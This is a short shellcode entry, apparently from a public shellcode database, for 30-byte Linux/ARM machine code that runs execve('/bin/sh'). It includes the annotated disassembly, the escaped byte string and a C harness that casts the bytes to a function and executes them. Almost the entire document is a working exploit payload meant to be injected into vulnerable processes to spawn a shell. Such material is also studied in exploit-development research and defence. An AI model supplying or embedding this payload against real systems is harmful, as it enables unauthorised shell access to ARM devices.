|
/* Title: Linux/ARM - execve("/bin/sh","/bin/sh",0) - 30 bytes Date: 2010-06-28 Tested: ARM926EJ-S rev 5 (v5l)
Author: Jonathan Salwan Web: http://shell-storm.org | http://twitter.com/shell_storm
! Dtabase of shellcodes http://www.shell-storm.org/shellcode/
8054: e28f3001 add r3, pc, #1 ; 0x1 8058: e12fff13 bx r3 805c: 4678 mov r0, pc 805e: 300a adds r0, #10 8060: 9001 str r0, [sp, #4] 8062: a901 add r1, sp, #4 8064: 1a92 subs r2, r2, r2 8066: 270b movs r7, #11 8068: df01 svc 1 806a: 2f2f cmp r7, #47 806c: 6962 ldr r2, [r4, #20] 806e: 2f6e cmp r7, #110 8070: 6873 ldr r3, [r6, #4] */
#include <stdio.h>
char *SC = "\x01\x30\x8f\xe2" "\x13\xff\x2f\xe1" "\x78\x46\x0a\x30" "\x01\x90\x01\xa9" "\x92\x1a\x0b\x27" "\x01\xdf\x2f\x2f" "\x62\x69\x6e\x2f" "\x73\x68";
int main(void) { fprintf(stdout,"Length: %d\n",strlen(SC)); (*(void(*)()) SC)(); return 0; }
|